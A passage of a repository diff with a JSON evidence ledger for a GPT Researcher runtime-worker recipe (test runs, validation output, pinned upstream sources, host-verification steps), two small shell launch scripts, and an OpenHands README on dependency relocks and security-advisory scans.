(tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_recipe_contract_and_empty_result)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_gpt_researcher.py\", line 451, in test_recipe_contract_and_empty_result\n self.assertIn(\"${GPTR_MODEL:-cx/gpt-6-astra-max}\", runner)\n ~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nAssertionError: '${GPTR_MODEL:-cx/gpt-6-astra-max}' not found in '#!/usr/bin/env bash\\n# Same persistent contract as CLI dispatch. Pass GPTR_RUN_ID or --run-id.\\nset -euo pipefail\\numask 077\\nrecipe_dir=\"$(cd -- \"$(dirname -- \"${BASH_SOURCE[0]}\")\" && pwd)\"\\nexport PYTHONDONTWRITEBYTECODE=1\\nexec python3 \"$recipe_dir/dispatch.py\" run --mode e2e \"$@\"\\n'\n\n----------------------------------------------------------------------\nRan 23 tests in 0.636s\n\nFAILED (failures=3, errors=1)\n", + "output_was_truncated": false + }, + { + "id": "fault-paths-red", + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_dispatch_supervisor_pass_failure_timeout_busy_and_malformed_report tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_dispatch_setup_errors_have_persistent_results_and_no_ambiguous_paths tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_usage_does_not_call_partial_correlations_complete -v", + "exit_code": 1, + "output": "test_dispatch_supervisor_pass_failure_timeout_busy_and_malformed_report (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_dispatch_supervisor_pass_failure_timeout_busy_and_malformed_report) ... ok\ntest_dispatch_setup_errors_have_persistent_results_and_no_ambiguous_paths (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_dispatch_setup_errors_have_persistent_results_and_no_ambiguous_paths) ... FAIL\ntest_usage_does_not_call_partial_correlations_complete (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_usage_does_not_call_partial_correlations_complete) ... FAIL\n\n======================================================================\nFAIL: test_dispatch_setup_errors_have_persistent_results_and_no_ambiguous_paths (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_dispatch_setup_errors_have_persistent_results_and_no_ambiguous_paths)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_gpt_researcher.py\", line 87, in test_dispatch_setup_errors_have_persistent_results_and_no_ambiguous_paths\n self.assertTrue((root / \"state\" / parsed[\"result\"]).is_file())\n ~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nAssertionError: False is not true\n\n======================================================================\nFAIL: test_usage_does_not_call_partial_correlations_complete (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_usage_does_not_call_partial_correlations_complete)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_gpt_researcher.py\", line 107, in test_usage_does_not_call_partial_correlations_complete\n self.assertEqual(result[\"status\"], \"incomplete\")\n ~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nAssertionError: 'observed' != 'incomplete'\n- observed\n+ incomplete\n\n\n----------------------------------------------------------------------\nRan 3 tests in 0.163s\n\nFAILED (failures=2)\n", + "output_was_truncated": false + }, + { + "id": "fault-paths-green", + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_dispatch_supervisor_pass_failure_timeout_busy_and_malformed_report tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_dispatch_setup_errors_have_persistent_results_and_no_ambiguous_paths tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_usage_does_not_call_partial_correlations_complete -v", + "exit_code": 0, + "output": "test_dispatch_supervisor_pass_failure_timeout_busy_and_malformed_report (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_dispatch_supervisor_pass_failure_timeout_busy_and_malformed_report) ... ok\ntest_dispatch_setup_errors_have_persistent_results_and_no_ambiguous_paths (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_dispatch_setup_errors_have_persistent_results_and_no_ambiguous_paths) ... ok\ntest_usage_does_not_call_partial_correlations_complete (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_usage_does_not_call_partial_correlations_complete) ... ok\n\n----------------------------------------------------------------------\nRan 3 tests in 0.246s\n\nOK\n", + "output_was_truncated": false + }, + { + "id": "validate-intermediate", + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 scripts/validate.py", + "exit_code": 1, + "output": "Publication validation failed:\nblueprints/runtime-workers/gpt-researcher/config.template.json: SHA-256 mismatch\nblueprints/runtime-workers/gpt-researcher/config.template.json: byte count mismatch\nblueprints/runtime-workers/gpt-researcher/e2e/grader.py: SHA-256 mismatch\nblueprints/runtime-workers/gpt-researcher/e2e/grader.py: byte count mismatch\nblueprints/runtime-workers/gpt-researcher/e2e/receipt.py: SHA-256 mismatch\nblueprints/runtime-workers/gpt-researcher/e2e/receipt.py: byte count mismatch\nblueprints/runtime-workers/gpt-researcher/e2e/run.py: SHA-256 mismatch\nblueprints/runtime-workers/gpt-researcher/e2e/run.py: byte count mismatch\nblueprints/runtime-workers/gpt-researcher/gateway.py: SHA-256 mismatch\nblueprints/runtime-workers/gpt-researcher/gateway.py: byte count mismatch\nblueprints/runtime-workers/gpt-researcher/host.template.json: SHA-256 mismatch\nblueprints/runtime-workers/gpt-researcher/host.template.json: byte count mismatch\nblueprints/runtime-workers/gpt-researcher/install.sh: SHA-256 mismatch\nblueprints/runtime-workers/gpt-researcher/install.sh: byte count mismatch\nblueprints/runtime-workers/gpt-researcher/mcp-policy.json: SHA-256 mismatch\nblueprints/runtime-workers/gpt-researcher/mcp-policy.json: byte count mismatch\nblueprints/runtime-workers/gpt-researcher/mcp_proxy.py: SHA-256 mismatch\nblueprints/runtime-workers/gpt-researcher/mcp_proxy.py: byte count mismatch\nblueprints/runtime-workers/gpt-researcher/pins.json: SHA-256 mismatch\nblueprints/runtime-workers/gpt-researcher/pins.json: byte count mismatch\nblueprints/runtime-workers/gpt-researcher/run-e2e.sh: SHA-256 mismatch\nblueprints/runtime-workers/gpt-researcher/run-e2e.sh: byte count mismatch\ntests/test_runtime_worker_gpt_researcher.py: SHA-256 mismatch\ntests/test_runtime_worker_gpt_researcher.py: byte count mismatch\n.round3-sources/context-mode_src__server.ts: contains possible personal home path\ntests/test_runtime_worker_gpt_researcher.py: contains possible local session identifier\n", + "output_was_truncated": false + }, + { + "id": "evidence-hardening-red", + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_dispatch_supervisor_pass_failure_timeout_busy_and_malformed_report tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_evidence_requires_a_successful_gateway_row_and_preserves_compression_snapshots -v", + "exit_code": 1, + "output": "Warning: truncated output (original token count: 3316)\nTotal output lines: 131\n\ntest_dispatch_supervisor_pass_failure_timeout_busy_and_malformed_report (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_dispatch_supervisor_pass_failure_timeout_busy_and_malformed_report) ... \n test_dispatch_supervisor_pass_failure_timeout_busy_and_malformed_report (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_dispatch_supervisor_pass_failure_timeout_busy_and_malformed_report) (native_exit=0, expected=0) ... FAIL\n test_dispatch_supervisor_pass_failure_timeout_busy_and_malformed_report (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_dispatch_supervisor_pass_failure_timeout_busy_and_malformed_report) (native_exit=7, expected=10) ... FAIL\n test_dispatch_supervisor_pass_failure_timeout_busy_and_malformed_report (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_dispatch_supervisor_pass_failure_timeout_busy_and_malformed_report) (native_exit=124, expected=30) ... FAIL\n test_dispatch_supervisor_pass_failure_timeout_busy_and_malformed_report (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_dispatch_supervisor_pass_failure_timeout_busy_and_malformed_report) (native_exit=0, expected=30) ... FAIL\n test_dispatch_supervisor_pass_failure_timeout_busy_and_malformed_report (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_dispatch_supervisor_pass_failure_timeout_busy_and_malformed_report) (native_exit=0, expected=30) ... FAIL\ntest_evidence_requires_a_successful_gateway_row_and_preserves_compression_snapshots (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_evidence_requires_a_successful_gateway_row_and_preserves_compression_snapshots) ... ERROR\n\n======================================================================\nERROR: test_evidence_requires_a_successful_gateway_row_and_preserves_compression_snapshots (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_evidence_requires_a_successful_gateway_row_and_preserves_compression_snapshots)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_gpt_researcher.py\", line 119, in test_evidence_requires_a_successful_gateway_row_and_preserves_compression_snapshots\n self.assertFalse(receipt.gateway_evidence_complete(observed))\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nAttributeError: module 'gptr_receipt' has no attribute 'gateway_evidence_complete'\n\n======================================================================\nFAIL: test_dispatch_supervisor_pass_failure_timeou\u20261916 tokens truncated\u2026l(*args, **kwargs)\n ~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^\n File \"/cpython-3.13.15-linux-x86_64-gnu/lib/python3.13/unittest/mock.py\", line 1240, in _execute_mock_call\n result = effect(*args, **kwargs)\n File \"/tests/test_runtime_worker_gpt_researcher.py\", line 56, in native\n self.assertEqual(len(kwargs.get(\"pass_fds\", ())), 1)\n ~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nAssertionError: 0 != 1\n\n======================================================================\nFAIL: test_dispatch_supervisor_pass_failure_timeout_busy_and_malformed_report (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_dispatch_supervisor_pass_failure_timeout_busy_and_malformed_report) (native_exit=0, expected=30)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n File \"/tests/test_runtime_worker_gpt_researcher.py\", line 68, in test_dispatch_supervisor_pass_failure_timeout_busy_and_malformed_report\n result = dispatch.supervise(run)\n File \"/blueprints/runtime-workers/gpt-researcher/dispatch.py\", line 174, in supervise\n completed = subprocess.run(native_command(run_dir, job), cwd=run_dir,\n env=child_environment(run_dir, job[\"routes\"]), stdout=stdout, stderr=stderr)\n File \"/cpython-3.13.15-linux-x86_64-gnu/lib/python3.13/unittest/mock.py\", line 1169, in __call__\n return self._mock_call(*args, **kwargs)\n ~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^\n File \"/cpython-3.13.15-linux-x86_64-gnu/lib/python3.13/unittest/mock.py\", line 1173, in _mock_call\n return self._execute_mock_call(*args, **kwargs)\n ~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^\n File \"/cpython-3.13.15-linux-x86_64-gnu/lib/python3.13/unittest/mock.py\", line 1240, in _execute_mock_call\n result = effect(*args, **kwargs)\n File \"/tests/test_runtime_worker_gpt_researcher.py\", line 56, in native\n self.assertEqual(len(kwargs.get(\"pass_fds\", ())), 1)\n ~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\nAssertionError: 0 != 1\n\n----------------------------------------------------------------------\nRan 2 tests in 0.040s\n\nFAILED (failures=5, errors=1)\n", + "output_was_truncated": true + }, + { + "id": "evidence-hardening-green", + "command": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 -m unittest tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_dispatch_supervisor_pass_failure_timeout_busy_and_malformed_report tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_evidence_requires_a_successful_gateway_row_and_preserves_compression_snapshots -v", + "exit_code": 0, + "output": "test_dispatch_supervisor_pass_failure_timeout_busy_and_malformed_report (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_dispatch_supervisor_pass_failure_timeout_busy_and_malformed_report) ... ok\ntest_evidence_requires_a_successful_gateway_row_and_preserves_compression_snapshots (tests.test_runtime_worker_gpt_researcher.RuntimeWorkerGPTResearcherTests.test_evidence_requires_a_successful_gateway_row_and_preserves_compression_snapshots) ... ok\n\n----------------------------------------------------------------------\nRan 2 tests in 0.042s\n\nOK\n", + "output_was_truncated": false + } + ], + "native_retry_control": { + "source": "assafelovic/gpt-researcher@0957c301ed06c2a5857b834358c7227c739041d4 gpt_researcher/utils/llm.py:42-161", + "source_sha256": "f22942e27b1356724daa3fc8dc0629ecbffe361f84455ee278a72b75668a2768", + "method": "rtk env PYTHONDONTWRITEBYTECODE=1 python3 via heredoc: compile the unchanged AST function; stub get_llm with a provider raising one synthetic 503; replace asyncio.sleep with a no-op; call stream=True with an object websocket and then None. This is a synthetic integration control, not an unchanged full upstream test or a provider run.", + "exit_code": 0, + "output": "{\n \"evidence_class\": \"local synthetic control using unchanged upstream function; no model or gateway call\",\n \"before\": {\n \"websocket_present\": true,\n \"attempts\": 1,\n \"result\": \"failed\"\n },\n \"after\": {\n \"websocket_present\": false,\n \"attempts\": 2,\n \"result\": \"recovered report\"\n }\n}\n" + }, + "research_limits": [ + "Host worker/proxy/grader venvs absent at the configured prefix; no runtime installation/help acceptance claimed.", + "Direct shell gh api could not connect. Web open tool returned unsupported-operation; public raw-source fetching through context-mode worked. GitHub release API fallback was rate limited; the retained v3.7.0 upstream release record was inspected.", + "No latest-version or full isolation absence claims are inferred from those unavailable channels." + ], + "host_verification_required": [ + "Coordinator re-register changed and new evidence hashes; run native installation, then run-upstream-tests.sh.", + "Validate both real CLI and E2E arms, with the same task, budget and control judge.", + "Verify 20129's database identity before GPTR_ENGINES_DB_VERIFIED=1; verify 20128 control path, actual timestamp format and forwarded route.", + "Observe request headers, one-slash route, max effort, both response correlation hooks, partial/streamed failures and delayed call-log flush.", + "Inject one transient report 5xx; verify retry, preserved research artifacts and bounded timeout/descendant cleanup.", + "Inspect native grader for empty text and JSON parse warnings; compare per-batch reasoning/output budgets. Worker 12000-token cap/report completeness remains unmeasured.", + "Check context-mode content-only policy, per-run state, QMD/memory scope and native MCP1/MCP2 compatibility on the actual host.", + "Reconcile Claude child-usage and OTel Bash launches with native CLI logs/completions; test detached-child survival, busy and cancellation/recovery.", + "Include native scraper DNS-rebinding/redirect residual in host security acceptance; no OS egress isolation or container hardening is claimed." + ], + "upstream_source_reads": [ + { + "repository": "diegosouzapw/OmniRoute", + "pin": "a58000c7685f4091c7a6fd8ddf3ebce7d2ec67c3", + "file": "src/app/api/analytics/compression/route.ts", + "url": "https://raw.githubusercontent.com/diegosouzapw/OmniRoute/a58000c7685f4091c7a6fd8ddf3ebce7d2ec67c3/src/app/api/analytics/compression/route.ts", + "sha256": "4159741eb6a3a6f0529bf290d0ec2287c56ff604af7ffb7a1689f36353c40fd5" + }, + { + "repository": "diegosouzapw/OmniRoute", + "pin": "a58000c7685f4091c7a6fd8ddf3ebce7d2ec67c3", + "file": "src/lib/db/compressionAnalytics.ts", + "url": "https://raw.githubusercontent.com/diegosouzapw/OmniRoute/a58000c7685f4091c7a6fd8ddf3ebce7d2ec67c3/src/lib/db/compressionAnalytics.ts", + "sha256": "2989f4d16a331bd20624748a8624dba0065e0e70dee96e6cf3227449e9b28f66" + }, + { + "repository": "diegosouzapw/OmniRoute", + "pin": "a58000c7685f4091c7a6fd8ddf3ebce7d2ec67c3", + "file": "src/lib/usage/callLogs.ts", + "url": "https://raw.githubusercontent.com/diegosouzapw/OmniRoute/a58000c7685f4091c7a6fd8ddf3ebce7d2ec67c3/src/lib/usage/callLogs.ts", + "sha256": "64269db02cb0ed73f6f7d0a3daaf314a1aa08df2993accd559ec078aff764e9c" + }, + { + "repository": "mksglu/context-mode", + "pin": "v1.0.169", + "file": "src/server.ts", + "url": "https://raw.githubusercontent.com/mksglu/context-mode/v1.0.169/src/server.ts", + "sha256": "4a34c4a17b64fa188d2a2c894765f492bf62b624a60c64e666fbaeef760f4a59" + }, + { + "repository": "python/cpython", + "pin": "v3.12.12", + "file": "Doc/library/fcntl.rst", + "url": "https://raw.githubusercontent.com/python/cpython/v3.12.12/Doc/library/fcntl.rst", + "sha256": "2ffc6287c7de996a831f77b0ce46f1e4b8aba20ab4ba17afad5bc4e8a26ade43" + }, + { + "repository": "python/cpython", + "pin": "v3.12.12", + "file": "Doc/library/sqlite3.rst", + "url": "https://raw.githubusercontent.com/python/cpython/v3.12.12/Doc/library/sqlite3.rst", + "sha256": "ae534aa61fb6ab8d7bff2e7d33ac3f79e3b06e18acf4ec8081250ef7ff542d76" + }, + { + "repository": "python/cpython", + "pin": "v3.12.12", + "file": "Doc/library/subprocess.rst", + "url": "https://raw.githubusercontent.com/python/cpython/v3.12.12/Doc/library/subprocess.rst", + "sha256": "4742471faba4e77a685fca0297fc7884d7fe1a7ff3fdb8a6858476fbc07a76db" + }, + { + "repository": "PrefectHQ/fastmcp", + "pin": "v4.0.10", + "file": "docs/servers/middleware.mdx", + "url": "https://raw.githubusercontent.com/PrefectHQ/fastmcp/v4.0.10/docs/servers/middleware.mdx", + "sha256": "1d7557d00f9dea8623113523f2654d1d837e4403eec6562b660a379adedc05bf" + }, + { + "repository": "PrefectHQ/fastmcp", + "pin": "v4.0.10", + "file": "docs/servers/providers/proxy.mdx", + "url": "https://raw.githubusercontent.com/PrefectHQ/fastmcp/v4.0.10/docs/servers/providers/proxy.mdx", + "sha256": "b224f6c6bba50be1b77f6d603227be2523e50fefab18d5e0f88d3a6f6e7799c0" + }, + { + "repository": "assafelovic/gpt-researcher", + "pin": "0957c301ed06c2a5857b834358c7227c739041d4", + "file": "cli.py", + "url": "https://raw.githubusercontent.com/assafelovic/gpt-researcher/0957c301ed06c2a5857b834358c7227c739041d4/cli.py", + "sha256": "b0cdeb184d592aadc32cb54e20d09b47aca23e0f34f2092cb8ead4f8940f52de" + }, + { + "repository": "assafelovic/gpt-researcher", + "pin": "0957c301ed06c2a5857b834358c7227c739041d4", + "file": "gpt_researcher/llm_provider/generic/base.py", + "url": "https://raw.githubusercontent.com/assafelovic/gpt-researcher/0957c301ed06c2a5857b834358c7227c739041d4/gpt_researcher/llm_provider/generic/base.py", + "sha256": "d4247a548188ca5e2a3710658884dbbda95a1096fb2c3e3a7a0a410134823818" + }, + { + "repository": "assafelovic/gpt-researcher", + "pin": "0957c301ed06c2a5857b834358c7227c739041d4", + "file": "gpt_researcher/scraper/beautiful_soup/beautiful_soup.py", + "url": "https://raw.githubusercontent.com/assafelovic/gpt-researcher/0957c301ed06c2a5857b834358c7227c739041d4/gpt_researcher/scraper/beautiful_soup/beautiful_soup.py", + "sha256": "c2561f9c1410c146090898afffff3771711d9e8c5dcbd438790ae2ea35bc282a" + }, + { + "repository": "assafelovic/gpt-researcher", + "pin": "0957c301ed06c2a5857b834358c7227c739041d4", + "file": "gpt_researcher/scraper/scraper.py", + "url": "https://raw.githubusercontent.com/assafelovic/gpt-researcher/0957c301ed06c2a5857b834358c7227c739041d4/gpt_researcher/scraper/scraper.py", + "sha256": "225cb5a6387facc05ba9f488ffe68b67a4e01783c723c7d0e8dd02006dea03d4" + }, + { + "repository": "assafelovic/gpt-researcher", + "pin": "0957c301ed06c2a5857b834358c7227c739041d4", + "file": "gpt_researcher/utils/llm.py", + "url": "https://raw.githubusercontent.com/assafelovic/gpt-researcher/0957c301ed06c2a5857b834358c7227c739041d4/gpt_researcher/utils/llm.py", + "sha256": "f22942e27b1356724daa3fc8dc0629ecbffe361f84455ee278a72b75668a2768" + }, + { + "repository": "assafelovic/gpt-researcher", + "pin": "0957c301ed06c2a5857b834358c7227c739041d4", + "file": "gpt_researcher/utils/url_security.py", + "url": "https://raw.githubusercontent.com/assafelovic/gpt-researcher/0957c301ed06c2a5857b834358c7227c739041d4/gpt_researcher/utils/url_security.py", + "sha256": "c263ac45bd5f26adaca42b57880daca58041756a5748c65a2581602cb4eeba9e" + }, + { + "repository": "encode/httpx", + "pin": "0.28.1", + "file": "docs/advanced/event-hooks.md", + "url": "https://raw.githubusercontent.com/encode/httpx/0.28.1/docs/advanced/event-hooks.md", + "sha256": "96d292f95b3412c54f7f862fd38a569b0efb2bd51a6cacdd5b391072262b9558" + } + ], + "retained_grader_source_hashes_match_recipe": true, + "discovery_notes": { + "installed_worker_proxy_and_grader": "absent at the configured prefix; no installs attempted", + "uv_version": "uv 0.12.17 (x86_64-unknown-linux-gnu)", + "uv_sync_help_returned": [ + "--locked Assert that the uv.lock will remain unchanged", + "--no-build Do not build source distributions", + "--no-install-project Do not install the current project" + ], + "selected": "Existing pinned GPTR CLI and client/proxy APIs; no new orchestrator, MCP server or container runtime adopted.", + "rejected_alternatives": "The supplied integration recommendation selected cli.py over gptr-mcp/FastAPI. No unsupported gptr-mcp absence or maintenance claim is needed by this repair." + } +} diff --git a/blueprints/runtime-workers/gpt-researcher/run-e2e.sh b/blueprints/runtime-workers/gpt-researcher/run-e2e.sh new file mode 100755 index 000000000..383b88448 --- /dev/null +++ b/blueprints/runtime-workers/gpt-researcher/run-e2e.sh @@ -0,0 +1,7 @@ +#!/usr/bin/env bash +# Same persistent contract as CLI dispatch. Pass GPTR_RUN_ID or --run-id. +set -euo pipefail +umask 077 +recipe_dir="$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)" +export PYTHONDONTWRITEBYTECODE=1 +exec python3 "$recipe_dir/dispatch.py" run --mode e2e "$@" diff --git a/blueprints/runtime-workers/gpt-researcher/run-upstream-tests.sh b/blueprints/runtime-workers/gpt-researcher/run-upstream-tests.sh new file mode 100755 index 000000000..635d97a9f --- /dev/null +++ b/blueprints/runtime-workers/gpt-researcher/run-upstream-tests.sh @@ -0,0 +1,23 @@ +#!/usr/bin/env bash +# Run unchanged, non-network tests from the verified upstream source archive. +set -euo pipefail +umask 077 +prefix="${GPTR_PREFIX:-$HOME/.local/share/codex-ecosystem/tools/gpt-researcher-3.7.0}" +state="${GPTR_STATE_ROOT:-$HOME/.local/state/native-agent-stack/runtime-workers/gpt-researcher}" +source_dir="$prefix/source/gpt-researcher-0957c301ed06c2a5857b834358c7227c739041d4" +mkdir -p "$state/upstream-tests" +chmod 700 "$state/upstream-tests" +output="$(mktemp "$state/upstream-tests/result-XXXXXXXX.txt")" +cd "$source_dir" +status=0 +env -i HOME="$HOME" PATH="$PATH" PYTHON_DOTENV_DISABLED=1 PYTHONDONTWRITEBYTECODE=1 \ + XDG_CACHE_HOME="$state/cache" OPENAI_API_KEY=local-loopback \ + CONTEXT_FILTER=keyword \ + "$prefix/venv/bin/python" -m pytest -q -p no:cacheprovider \ + tests/test_lexical_context_filter.py tests/test_llm_kwargs_override.py \ + tests/test_llm_max_tokens.py tests/test_mcp_client_config.py \ + tests/test_mcp_client_non_dict_config.py tests/test_mcp_client_uppercase_url_schemes.py \ + >"$output" 2>&1 || status=$? +cat "$output" +printf 'upstream pytest exit code: %s\n' "$status" >>"$output" +exit "$status" diff --git a/blueprints/runtime-workers/openhands/README.md b/blueprints/runtime-workers/openhands/README.md index 764fba98f..b177a54d9 100644 --- a/blueprints/runtime-workers/openhands/README.md +++ b/blueprints/runtime-workers/openhands/README.md @@ -1,5 +1,209 @@ # OpenHands coding runtime worker +## Current candidate: SDK/server 1.50.0 (2026-09-30) + +The active recipe pins **1.50.0** at +[`dcf401af7a9a302ef92cb7d092e1df9bb659daa5`](https://github.com/OpenHands/software-agent-sdk/tree/dcf401af7a9a302ef92cb7d092e1df9bb659daa5), +the matching official `1.50.0-python` image by digest, and published SDK/tools +wheels by SHA256. [pins.json](pins.json) is the current input; the unchanged +[1.49.6 pins](evidence/pins-1.49.6.json) bind the historical scan and failed +receipts below. The upgrade retains those attempts. Use `install.sh` and +`run-e2e.sh` for the current prefix; older 1.49.6 command examples below record +the previous qualification work. + +The current [wheel-closure receipt](evidence/litellm-relock-20260930.json) binds +lock **`38c20c899b8d7b08e03a04624daa17ba1fc353533fbff450bb0ac2bddd0832eb`** +for **Linux x86_64, CPython 3.13.15**. It changes only LiteLLM 1.93.0 → 1.93.2; +all **175 other package blocks, including hashes, remain byte-identical** to +the previous `832938…` lock. SDK/tools remain at 1.50.0 and OAuthlib at 3.3.1. + +[GHSA-3cv6-jpf6-8222](https://github.com/advisories/GHSA-3cv6-jpf6-8222), indexed +by GitHub at **21:11:25Z on 2026-09-30**, identifies 1.93.2 as the patched +release for the selected branch. Its official CPython 3.13 Linux wheel and +sdist were uploaded on August 9. The +[maintained OpenHands cutoff instruction](https://github.com/OpenHands/software-agent-sdk/blob/395b94b0c3c4994f6c530f1e3bf3196f71fab950/pyproject.toml#L8) +says to bump or remove the July 20 LiteLLM cutoff when upgrading past 1.93.0. +This published-package compile removes that older package cutoff, retains the +relative **`7 days`** policy and LMNR's August 23 cutoff, and disables config +discovery explicitly. The original policy control reproduces `832938…` exactly; +the candidate compile and explicit no-config reproduction agree exactly. + +Fresh hash-required build/runtime installation, `uv pip check` before and after +test tools, imports, and the twelve existing SDK fixtures returned **0**. +The untouched [tagged LiteLLM URL test module](https://github.com/BerriAI/litellm/blob/cd1bd0f4b8af865f8d05fbd938392fdd4703babc/tests/test_litellm/litellm_core_utils/test_url_utils.py) +passed **68 tests, zero skips**, against the installed 1.93.2 wheel, with the +tagged pytest configuration and its pinned pytest/asyncio versions. That is a +bounded upstream module run; it does not execute the authenticated proxy or the +complete native workspace suite. The source check compares all **2,104** wheel +Python files with the installed files and the official sdist, with no mismatch. +Both official 1.93.0/1.93.2 source sets contain no OAuthlib/advisory-name hits. + +Native OSV Scanner 2.6.0 recognizes 174 packages. The previous lock now returns +**1** under the existing configuration, solely for the new LiteLLM advisory; +the new lock returns **0**. Its empty-config control returns **1**, solely for +the two retained OAuthlib advisories. Fresh maintained caller scans and the +nine prior OAuthlib/text-only source identities bind this exact candidate. +Static name/AST checks do not prove semantic or dynamic unreachability, and +one compiled LiteLLM extension is outside the Python source sweep. No ignore +or expiry changes. A fresh independent review of this digest remains pending. + +The published wheels use supported dependency ranges; the unchanged upstream +workspace pins and `uv.lock`, its `--frozen` execution, and the pinned image +still retain their prior LiteLLM selection. This wheel repair does not qualify +those workspace/image inputs or remove the recorded image acceptance gate. + +### Previous PyJWT wheel closure (historical) + +The previous [wheel-closure receipt](evidence/pyjwt-relock-20260930.json) binds +lock **`83293867247323c4d8fc463096e8a9c01dbee2ada5898112bbbb7d1a62a8b47a`** +for **Linux x86_64, CPython 3.13.15**. Its 176 selected versions differ from the +original reconciled `383ccc5b…` closure only in urllib3 2.7.0 → 2.8.0 and +PyJWT 2.14.0 → 2.15.0; 175 versions remain unchanged from the `bd1cbbe8…` +intermediate. SDK/tools stay at the pinned 1.50.0 source above. Click 8.5.0, +pypdf 6.19.0, Soup Sieve 2.9.2, AnyIO 4.14.2 and OAuthlib 3.3.1 remain selected. +After PyJWT's seven-day publication cutoff, native `uv pip compile` retained the +upstream relative `7 days` policy and package cutoffs, reproduced the bd1 control, +and reproduced 832 from a second pristine SDK source extraction. + +Fresh hash-required installation, `uv pip check` and imports returned **0**. +The twelve unchanged local fixtures against the installed SDK passed with model +calls patched. These fixtures qualify our integration within that scope. +[PyJWT 2.15.0's tagged decoder](https://github.com/jpadilla/pyjwt/blob/1d41a6478e1562e68ff667fcd703356acf085f68/jwt/api_jwt.py#L297) +normalizes payload `RecursionError` to `DecodeError`. The unchanged +[decoder regression](https://github.com/jpadilla/pyjwt/blob/1d41a6478e1562e68ff667fcd703356acf085f68/tests/test_api_jwt.py#L182) +and [JWK-client regression](https://github.com/jpadilla/pyjwt/blob/1d41a6478e1562e68ff667fcd703356acf085f68/tests/test_jwks_client.py#L329) +passed through the official +[`py313-crypto` tox recipe](https://github.com/jpadilla/pyjwt/blob/1d41a6478e1562e68ff667fcd703356acf085f68/tox.ini#L34): +**2 passed, 0 skipped**, exit 0. Running those same untouched tests against the +installed wheels from a neutral working directory, with `jwt.__file__` observed +inside the test process, gave **2/2 failures** for bd1's 2.14.0 wheel and +**2/2 passes** for the candidate's 2.15.0 wheel. This installed-wheel check is +local integration around unchanged upstream tests. + +At **17:15:28–30Z on 2026-09-30**, native OSV Scanner 2.6.0 recognized 174 +packages and returned **0** under the existing, expiring OAuthlib exceptions. +Its empty-config control returned **1**, solely for OAuthlib 3.3.1 findings +`GHSA-hj66-6f7g-4r5v` and `GHSA-xpv3-w29h-x7cv`. Fresh caller sweeps retain the +same nine OAuthlib source bindings as bd1. Static caller and re-export review +retains its dynamic reachability limitations; no OAuth server endpoint was run. +The receipt and [command ledger](evidence/pyjwt-relock-20260930-commands.json) +preserve actual native returns and distinguish upstream tests, local integration +and fixtures. + +The [published independent BC review](https://github.com/seathatflowsinourveins/native-agent-stack/blob/54d09ee8810ed98059347097277fcd9f8432de36/evidence/artifacts/openhands-oauthlib-review-535-head7c0df3-20260930/receipt.json) +binds the **832938** lock at reviewed head `7c0df369…`, unchanged at `f764a315…`. +Receipt SHA256 is 